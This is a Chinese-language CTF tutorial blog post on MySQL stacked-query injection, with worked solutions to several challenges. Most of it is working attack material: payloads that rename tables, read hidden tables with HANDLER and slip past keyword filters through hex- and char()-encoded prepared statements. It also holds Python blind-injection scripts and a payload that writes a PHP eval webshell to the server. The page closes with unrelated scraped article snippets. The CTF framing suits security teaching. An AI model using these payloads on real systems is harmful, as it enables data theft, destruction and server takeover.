Stacked Queries(堆叠注入)

2023-11-16


Stacked injection 汉语翻译过来后,国内有的称为堆查询注入,也有称之为堆叠注入。个人认为称之为堆叠注入更为准确。堆叠注入为攻击者提供了很多的攻击手段, 通过添加一个新的查询或者终止查询( ; ),可以达到 修改数据 和 调用存储过程 的目的。这种技术在SQL注入中还是比较频繁的。

基本知识

原理介绍:

在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下,我们在结束一个sql语句后继续构造下一条语句,会不会一起执行? 因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于 union 或者union all执行的语句类型是有限的,可以用来执行的是查询语句,而堆叠注入可以执行的是任意的语句。 例如以下这个例子。用户输入:1; DELETE FROM products;服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products;当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。

堆叠注入的局限性

堆叠注入的局限性在于并不是每一个环境下都可以执行,可能受到API或者数据库引擎不支持的限制,当然了权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。

img

PS:此图是从原文中截取过来的,因为我个人的测试环境是php+mysql,是可以执行的,此处对于mysql/php存在质疑。但个人估计原文作者可能与我的版本的不同的原因。虽然我们前面提到了堆叠查询可以执行任意的sql语句,但是这种注入方式并不是十分的完美的。在我们的Web系统中,因为代码通常只返回一个查询结果,因此,堆叠注入第二个语句产生的错误或者结果只能被忽略,我们在前端界面是无法看到返回结果的。因此,在读取数据时,我们建议使用union(联合)注入。同时在使用堆叠注入之前,我们也是需要知道一些数据库相关信息的,例如表名,列名等信息。

一般存在堆叠注入的都是用 mysqli_multi_query() 函数执行的sql语句,该函数可以执行一个或多个针对数据库的查询,多个查询用分号进行分隔。

Mysql数据库实例介绍

(1)新建一个表 select * from users where id=1;create table test like users;

img

执行成功,我们再去看一下是否成功新建表。

img

(2)删除上面新建的test表select * from users where id=1;drop table test;

img

img

(3)查询数据select * from users where id=1;select 1,2,3;

img

(4)加载文件 select * from users where id=1;select load_file('c:/tmpupbbn.php'); //读文件

img

(5)修改数据 select * from users where id=1;insert into users(id,username,password) values('100','new','new');

img

img

CTF 实战与各种姿势

修改表名

使用条件:rename、alter没有被过滤

我们用[强网杯 2019]随便注这道题来进行演示。

1

可以看到查询页面返回了一些数据
输入1’ 发现报错,

在这里插入图片描述

可知后台为单引号过滤。然后1’ #显示正常,应该是存在sql注入了,且为单引号字符型

2

3

正常流程走起,order by

4

可以看到order by 2的时候是正常回显了,但order by 3就出错了,只有2个字段

这时候用union select进行联合查询试试

5

返回一个正则过滤规则,可以看到几乎所有常用的都被过滤了,这时候想到堆叠注入,试一下 show databases;

6

尝试一下堆叠注入,果然可以,把全部库名都给查出来了,可以看到成功了,存在堆叠注入。我们再直接 show tables; 来查询下,试下能不能查询出表:

7

可以看到当前连接的库下有两张表(1919810931114514和words),下面分别来看下两张表有什么字段:0'; show columns from words;#

8

发现words表中一共有id和data两列,那么可以猜测我们提交查询的窗口就是在这个表里查询数据的,那么查询语句很有可能是:select id,data from words where id =,如下:(2为输入的id,miaomiaomiao为回显的data字段)

在这里插入图片描述

再输入:

0'; show columns from `1919810931114514`;#

9

可以看到1919810931114514中有我们想要的flag字段,且只有这一列

现在常规方法基本就结束了,要想获得flag就必须来点骚姿势了(让表1919810931114514冒充表words)

因为这里有两张表,回显内容肯定是从word这张表中回显的,那我们怎么才能让它回显flag所在的表呢?

该题目的查询语句很有可能是:selsect id,data from words where id =,因为我们输入1,回显得是两个字段,这与words表符合,而1919810931114514表中只有一列。

这时候虽然有强大的正则过滤,但没有过滤alter和rename关键字,这时候我们就可以以下面的骚姿势进行注入:

因为可以堆叠查询,这时候就想到了一个改名的方法,把words随便改成words1,然后把1919810931114514改成words,再把列名flag改成id(或data),结合上面的1’ or 1=1#爆出表所有内容就可以查flag啦。

payload

1';rename table words to words1;rename table `1919810931114514` to words;alter table words change flag id varchar(100);#

rename命令用于修改表名。
rename命令格式:rename table 原表名 to 新表名;

上述命令不能分开执行,否则报错找不到某表名:

在这里插入图片描述

最后,再用一下一开始的操作 id=1' or 1=1#

img

如上图,得到flag。

利用HANDLER语句

使用条件:rename、alter也被过滤了。

我们用[GYCTF2020]Blacklist这道题来进行演示。

与强网杯2019随便注前面部分一样,只不过这道题rename、alter也被过滤了。

在这里插入图片描述

在这里插入图片描述

当前连接的库下有两个表——FlagHere、words,flag在FlagHere中,而此时后台数据库查询语句应为:

select id,data from words where id =

在这里插入图片描述

在不改名字的情况下怎么才能读取到FlagHere表中的内容呢?

这里还有一种新姿势,参考官方文档

HANDLER ... OPEN 语句打开一个表,使其可以使用后续 HANDLER ... READ 语句访问,该表对象未被其他会话共享,并且在会话调用 HANDLER ... CLOSE 或会话终止之前不会关闭,详情请见:https://www.cnblogs.com/taoyaostudy/p/13479367.html

所以我们的payload如下:

1';HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere CLOSE;#1';HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;#

如下图,得到flag:

在这里插入图片描述

利用MySql预处理

使用条件:HANDLER也被过滤了。

在遇到堆叠注入时,如果select、rename、alter和handler等语句都被过滤的话,我们可以用MySql预处理语句配合concat拼接来执行sql语句拿flag。

  1. PREPARE:准备一条SQL语句,并分配给这条SQL语句一个名字供之后调用
  2. EXECUTE:执行命令
  3. DEALLOCATE PREPARE:释放命令
  4. SET:用于设置变量

用法:

PREPARE stmt_name FROM preparable_stmt

EXECUTE stmt_name [USING @var_name [, @var_name] ...] 

{DEALLOCATE | DROP} PREPARE stmt_name
正常利用

我们还是用 [强网杯 2019]随便注 这道题来进行演示,假设此题过滤了select、rename、alter和handler等sql语句,如果我们想要执行sql语句的话,我们还可以利用以下payload:

1';set @a=concat("sel","ect flag from `1919810931114514`");prepare hello from @a;execute hello;#

image-20201115195954234

好吧,我忘了“set”和“prepare”也被检测了,但没关系,这里只使用的strstr函数,该函数是区分大小写的,所以我们用大写即可绕过,如下:

1';sEt @a=concat("sel","ect flag from `1919810931114514`");PRepare hello from @a;execute hello;#

如上图,sql语句执行成功,并得到flag。

MySql预处理配合十六进制绕过关键字

题目来源:[SWPU2019]Web4

进入题目,给出一个输入框:

image-20201203161634051

随便输入后抓包:

image-20201203161704735

我们尝试sql注入,输入单引号后报错:

image-20201203161752184

加上注释后正常:

image-20201203161843236

并且没有过滤掉分号 ; ,所以我们可以尝试堆叠注入。但是,当我们尝试 1';show databases; 之类的操作时,一直显示密码错误,猜测可能关键字被过滤了:

image-20201203162630659

经测试发现,select、if、sleep、substr等关键字也被过滤了。但是这里注入又不得不使用其中的某些单词,我们该怎么办呢?

因为是堆叠注入,并且我们发现 prepare 等预处理滤语句的关键字没有被过滤,那我们就可以用 堆叠注入+MySql预处理+十六进制 来绕过,而且页面不会根据我们输入情况回显不同,那么就用时间盲注,基本原理如下:

mysql> select hex('show databases');
+------------------------------+
| hex('show databases;')       |
+------------------------------+
| 73686F7720646174616261736573 |
+------------------------------+
1 row in set (0.01 sec)

mysql> set @b=0x73686F7720646174616261736573;
Query OK, 0 rows affected (0.01 sec)

mysql> prepare test from @b;
Query OK, 0 rows affected (0.02 sec)
Statement prepared

mysql> execute test;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| challenges         |
| mysql              |
| performance_schema |
| security           |
| test               |
+--------------------+
6 rows in set (0.02 sec)

最后编写时间盲注脚本:

#author: c1e4r
import requests
import json
import time

def main():
    #题目地址
    url = '''http://568215bc-57ff-4663-a8d9-808ecfb00f7f.node3.buuoj.cn/index.php?r=Login/Login'''
    #注入payload
    payloads = "asd';set @a=0x{0};prepare ctftest from @a;execute ctftest-- -"
    flag = ''
    for i in range(1,30):
        #查询payload
        payload = "select if(ascii(substr((select flag from flag),{0},1))={1},sleep(3),1)"
        for j in range(0,128):
            #将构造好的payload进行16进制转码和json转码
            datas = {'username':payloads.format(str_to_hex(payload.format(i,j))),'password':'test213'}
            data = json.dumps(datas)
            times = time.time()
            res = requests.post(url = url, data = data)
            if time.time() - times >= 3:
                flag = flag + chr(j)
                print(flag)
                break

def str_to_hex(s):
    return ''.join([hex(ord(c)).replace('0x', '') for c in s])

if __name__ == '__main__':
    main()

img

MySql预处理配合字符串拼接绕过关键字

题目来源:[SUCTF 2018]MultiSQL

进入题目:

image-20210117204259124

随便注册一个账号后登录,在用户信息的url处可以发现存在越权漏洞,可以查看任意用户的信息:

image-20210117204340191

image-20210117204455947

并且id处存在sql注入,经测试,为异或盲注,但是过滤了substr、select、union等,我们可以用mid()函数来代替substr()函数,其用法是一样的,编写如下盲注脚本用load_file函数将/user/user.php的源码读取出来(注意进行hex编码):

import requests
import time
url = 'http://c088ed7a-d550-43bc-8ded-49adcdc1cfe5.node3.buuoj.cn/search.php'

cookies = {       # 如果目标网站要事先登录,就加上cookies吧
    "PHPSESSID":"c8ab8r49nd2kk0qfhs0dcaktl3"
}

flag = ''
for i in range(1,90000):
   low = 32
   high = 128
   mid = (low+high)//2
   while(low<high):
       payload = "http://6f9d6af7-a15b-4df4-a950-1ba3e3867004.node3.buuoj.cn/user/user.php?id=0^(ascii(mid(hex(load_file(0x2f7661722f7777772f68746d6c2f757365722f757365722e706870)),%d,1))>%d)" %(i,mid)
       res = requests.get(url=payload,cookies=cookies)

       if 'admin' in res.text:      # 为真时,即判断正确的时候的条件
           low = mid+1
       else:
           high = mid
       mid = (low+high)//2
   if(mid ==32 or mid ==127):
       break
   flag = flag+chr(mid)
   print(flag)
   time.sleep(0.3)

得到的经hex解码后源码如下:

<?php
include_once('../bwvs_config/sys_config.php');

if (isset($_SESSION['user_name'])) {
	include_once('../header.php');
	if (!isset($SESSION['user_id'])) {
		$sql = "SELECT * FROM dwvs_user_message WHERE DWVS_user_name ="."'{$_SESSION['user_name']}'";
		$data = mysqli_query($connect,$sql) or die('Mysql Error!!');
		$result = mysqli_fetch_array($data);
		$_SESSION['user_id'] = $result['DWVS_user_id'];
	}

	$html_avatar = htmlspecialchars($_SESSION['user_favicon']);
	
	
	if(isset($_GET['id'])){
		$id=waf($_GET['id']);
		$sql = "SELECT * FROM dwvs_user_message WHERE DWVS_user_id =".$id;
		$data = mysqli_multi_query($connect,$sql) or die();
		
		$result = mysqli_store_result($connect);
		$row = mysqli_fetch_row($result);
		echo '<h1>user_id:'.$row[0]."</h1><br><h2>user_name:".$row[1]."</h2><br><h3>注册时间:".$row[4]."</h3>";
		mysqli_free_result($result);
		die();
	}
	mysqli_close($connect);
?>
<div class="row">
	<div style="float:left;">
		<img src="<?php echo $html_avatar?>" width="100" height="100" class"img-thumbnail" >
		<div><?php echo "你好,".$_SESSION['user_name']?>
		</div>	
	</div>
	
	<div style="float:right;padding-right:900px">
		<div><a href="./user.php?id=<?php echo $_SESSION['user_id'];?>"><button type="button" class="btn btn-primary">用户信息</button></a></div>
		<br />
		<div><a href="edit.php"><button type="button" class="btn btn-primary">编辑头像</button></a></div>
		<br/>
		<div><a href="logout.php"><button type="button" class="btn btn-primary">退出</button></a></div><br /><br /><br /><br />
	</div>
</div>
<?php 
	require_once('../Trim.php');
}
else {
	not_find($_SERVER['PHP_SELF']);
}
?>

发现id处是使用 mysqli_multi_query() 执行的sql语句,其可以执行一个或多个针对数据库的查询,多个查询用分号进行分隔,也就存在堆叠注入。

由于过滤了很多关键字,所以我们可以通过sql预处理执行sql语句,往目标主机上写webshell:

select '<?php eval($_POST[whoami]);?>' into outfile '/var/www/html/favicon/shell.php';

// favicon目录具有写入权限

我们可以将上面这个sql语句先进行hex编码,然后再加到预处理语句中,即:

set @sql = 0x73656C65637420273C3F706870206576616C28245F504F53545B77686F616D695D293B3F3E2720696E746F206F757466696C6520272F7661722F7777772F68746D6C2F66617669636F6E2F7368656C6C2E706870273B;prepare s1 from @sql;execute s1;

也可以用char()函数和concat()函数实现字符串拼接,然后再加到预处理语句中,即:

set @sql=concat(char(115),char(101),char(108),char(101),char(99),char(116),char(32),char(39),char(60),char(63),char(112),char(104),char(112),char(32),char(101),char(118),char(97),char(108),char(40),char(36),char(95),char(80),char(79),char(83),char(84),char(91),char(119),char(104),char(111),char(97),char(109),char(105),char(93),char(41),char(59),char(63),char(62),char(39),char(32),char(105),char(110),char(116),char(111),char(32),char(111),char(117),char(116),char(102),char(105),char(108),char(101),char(32),char(39),char(47),char(118),char(97),char(114),char(47),char(119),char(119),char(119),char(47),char(104),char(116),char(109),char(108),char(47),char(102),char(97),char(118),char(105),char(99),char(111),char(110),char(47),char(115),char(104),char(101),char(108),char(108),char(46),char(112),char(104),char(112),char(39),char(59));prepare s1 from @sql;execute s1;

也可以不用concat函数,直接用char函数也具有连接功能:

set @sql=char(115,101,108,101,99,116,32,39,60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,119,104,111,97,109,105,93,41,59,63,62,39,32,105,110,116,111,32,111,117,116,102,105,108,101,32,39,47,118,97,114,47,119,119,119,47,104,116,109,108,47,102,97,118,105,99,111,110,47,115,104,101,108,108,46,112,104,112,39,59);prepare s1 from @sql;execute s1;

将上面的任一种payload放到id=2;后面执行:

image-20210117220820375

写入webshell后,即可成功执行命令:

image-20210117220651792

image-20210117220732869

得到flag。

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

Stacked Queries(堆叠注入) 的相关文章

  • 大数据分析 开源数据集_什么是大数据分析? 来自各种数据集的快速答案

    大数据分析 开源数据集 有数据 然后有大数据 那么 有什么区别呢 大数据定义 一个清晰的大数据定义可能很难确定 因为大数据可以涵盖许多用例 但是总的来说 该术语指的是数据量如此之大 如此复杂以至于传统的数据处理软件产品无法在合理的时间内捕获
  • 只需一个提示词解除GPT-4的字符限制!

    ChatGPT的内存有限 GPT 3 5 turbo的限制为4897个令牌 而GPT 4的最大限制为8192 如果您在使用GPT 4进行聊天时超过8192个令牌 约6827个单词 它就会开始遗忘 我想出了一种新的技巧 可以轻松将对话扩展10
  • Linux项目实战C++轻量级Web服务器源码分析TinyWebServer

    目录 文章简介 一 先跑起来项目 二 再看项目结构 三 逐个击破 立下flag 文章简介 TinyWebServer是Linux下C 轻量级Web服务器 助力初学者快速实践网络编程 搭建属于自己的服务器 作为新手拿它练手入门再好不过的不二之
  • 蓝桥杯 试题 算法训练 拿金币

    问题描述 有一个N x N的方格 每一个格子都有一些金币 只要站在格子里就能拿到里面的金币 你站在最左上角的格子里 每次可以从一个格子走到它右边或下边的格子里 请问如何走才能拿到最多的金币 输入格式 第一行输入一个正整数n 以下n行描述该方
  • TQ2440移植u-boot2016.11全过程记录-【7】NAND FLASH方式启动U-BOOT

    TQ2440移植u boot2016 11 NAND FLASH方式启动U BOOT S3C2440 U BOOT启动方式说明 NOR FLASH启动 S3C2440会直接在NOR上运行程序 在NOR上中的代码需要初始化芯片时钟 初始化SD
  • 关于疫情超走心的文案

    1 盼小城无恙 等烟火寻常 2 以后不在嫌弃人山人海 因为那样才是国泰民安 3 没有一个冬天不会过去 没有一个春天不会到来 4 疫情终时 这人间仍是星河滚烫 水木清华 江山如故 5 待我跨过这病与疾 春和希望都扑面而来 6 疫情结束 是今年

随机推荐

  • h2 mysql 对比_轻量级数据库比较:SQLite、H2和MySQLEmbedded

    对 PHP程序员来说 SQLite可以快速的搭建数据库开发环境 提供轻松 自容器 无配置 无独立服务的数据库环境 所有数据保存在一 对 PHP程序员来说 SQLite可以快速的搭建数据库开发环境 提供轻松 自容器 无配置 无独立服务的数据库
  • 在ubuntu中添加新硬盘

    前言 安装新硬盘这种事情并不会经常 发生同样它也并不复杂 本文将向你说明如何在现有的Ubuntu系统下安装一个新硬盘 并为它设置好分区然后使用它 在动手之前 你需要先考虑下面三个关于新硬盘使用方面的问题 该硬盘是否只会在Ubuntu下使用
  • 数据清洗基础—Kettle 数据转换与清洗、数据抽取操作

    实验一 数据清洗基础 Kettle 数据转换与清洗 数据抽取操作 1 实验题目 Kettle 数据转换与清洗 数据抽取操作 2实验目和要求 2 1熟悉 Kettle 的开发环境 并掌握 Kettle 环境的配置与安装 2 2能使用 Kett
  • 复习Python第八节之json数据

    目录 JSON数据学习 1 数据交换 2 json语法 1 什么是json 2 json的库函数 3 dumps 与dump 以及loads 与load 函数之间的差别 4 Json来模拟以下数据库 文本文档当作数据库 5 使用json案例
  • Srping MVC ant路径匹配

    背景 最近有一个功能设计path匹配 开发说支持ant匹配 这是我第一次听说这个词 赶紧补一下功课 Ant匹配规则 1 前言 1 SpringMVC的路径匹配规则是按照Ant来的 实际上不只是SpringMVC 整个Spring框架的路径解
  • 流媒体协议部分开源库简单比对

    流媒体协议部分开源库简单比对 版本说明 版本 作者 日期 备注 0 1 ZY 2019 2 14 初稿 目录 文章目录 流媒体协议部分开源库简单比对 版本说明 目录 目前找到的比较中意的开源库 live555 media server JR
  • 如何用计算机打出平方,x的平方怎么在电脑上打出来(常见数学符号打法图文)...

    很多小白都会这样问 数学的平方 立方怎么打出来 诸如X Y Z 等等这些右下角的角标数字又是怎么打 根号怎么打出来 一些圆形符号 对数函数 极限符号 积分 尤其是定积分 又是怎么才能在pc端去打出来呢 本篇文章介绍几种比较基础的方法 拿平方
  • 第十三届蓝桥杯单片机客观题真题考点整理

    蓝桥杯 单片机设计与开发大赛马上就要进行 最后冲刺阶段将自己整理的资料上传一下 最后一个星期主要冲刺选择题 现在将选择题的考点附上 第八届预赛 单片机 定时器工作状态 晶振 中断优先级 IO口 数码管消隐 内存分布 IO口 复位 振荡器 模
  • PLC学习札记

    PLC概念相关 PLC编程 PLC系统 通过了解概念 知道了plc的核心是对继电器编程 什么是继电器 继电器 最后 阅读PLC指导手册 结合之前学习的知识 融会贯通 PLC编程手册 FX系列 pdf 指令表运行机制 仅限于本项目
  • 人脸识别解决方案全套文件大合集,120份全新精选,有这个就够了

    人脸识别解决方案全套文件大合集 120份全新精选 有这个就够了 一 人脸识别4个特点 二 人脸识别的 4 个步骤 三 人脸识别的 5 个难点 四 人脸识别算法的发展轨迹 五 人脸识别的典型应用 六 下载人脸识别全套解决方案 一 人脸识别4个
  • ubuntu14.04 Git Github环境搭建设置

    一 安装Git sudo apt get update 获得最近的软件包的列表 sudo apt get install git git core git gui git doc git svn git cvs gitweb gitk gi
  • python是完全面向对象的语言、并且完全支持_Python

    Python是一种高级动态 完全面向对象的语言 函数 模块 数字 字符串都是对象 并且完全支持继承 重载 派生 多继承 有益于增强源代码的复用性 运算语句 表达式 函数调用和赋值 各种类型的数据对象 可以通过各种运算组织成复杂的表达式 调用
  • 第一章 dolphinscheduler基础环境搭建

    官方链接 https dolphinscheduler apache org 1 准备工作 1 解压安装包 tar xzvf apache dolphinscheduler 1 3 9 bin tar gz C opt module apa
  • uni-app 1、app-plus的使用,#ifdef MP只兼容小程序

    最近开始查看uni app的一些项目 在pages json里面发现app plus 百度了下看见一些网友的解释是app跟h5端执行 小程序则不执行 只测试过微信小程序 据说其他小程序也不执行 代码如下 path pages index i
  • mysql中的全文索引

    查询操作在数据量比较少时 可以使用like模糊查询 但是对于大量的文本数据检索 效率很低 如果 使用全文索引 查询速度会比like快很多倍 在MySQL 5 6 以前的版本 只有MyISAM存储引擎支持全 文索引 从MySQL 5 6开始M
  • 《云计算-刘鹏》学习笔记-第一章:大数据与云计算

    文章目录 0 笔记说明 1 大数据时代 2 云计算 大数据的计算 3 云计算发展现状 4 云计算实现机制 5 云计算压倒性的成本优势 0 笔记说明 参考书籍为 云计算 第三版 作者为刘鹏 1 大数据时代 大数据的定义如下 海量数据或巨量数据
  • 概率论基础(sigma域、测度)

    一 样本空间 事件 样本空间 Omega 指一个实验的可能结果的集合 omega in Omega 称为 样本
  • 定时任务及分布式定时任务注意事项

    一 定时任务默认是阻塞的 定时任务默认是阻塞的 即串行执行 若一个服务配置多个定时任务 需要等上一个定时任务执行完 才能执行下一个定时任务 一个定时任务超长了 也不应该阻塞其他定时任务的执行 如一个定时任务每秒执行 而业务执行时间是5秒 那
  • vscode (1)直接编译

    第一步创建c文件 第二步配置 终端 配置默认生成任务 选择 usr bin gcc version 2 0 0 tasks type cppbuild label C C gcc 生成活动文件 command usr bin gcc 使用的
  • Stacked Queries(堆叠注入)

    文章目录 基本知识 原理介绍 堆叠注入的局限性 Mysql数据库实例介绍 CTF 实战与各种姿势 修改表名 利用HANDLER语句 利用MySql预处理 正常利用 MySql预处理配合十六进制绕过关键字 MySql预处理配合字符串拼接绕过关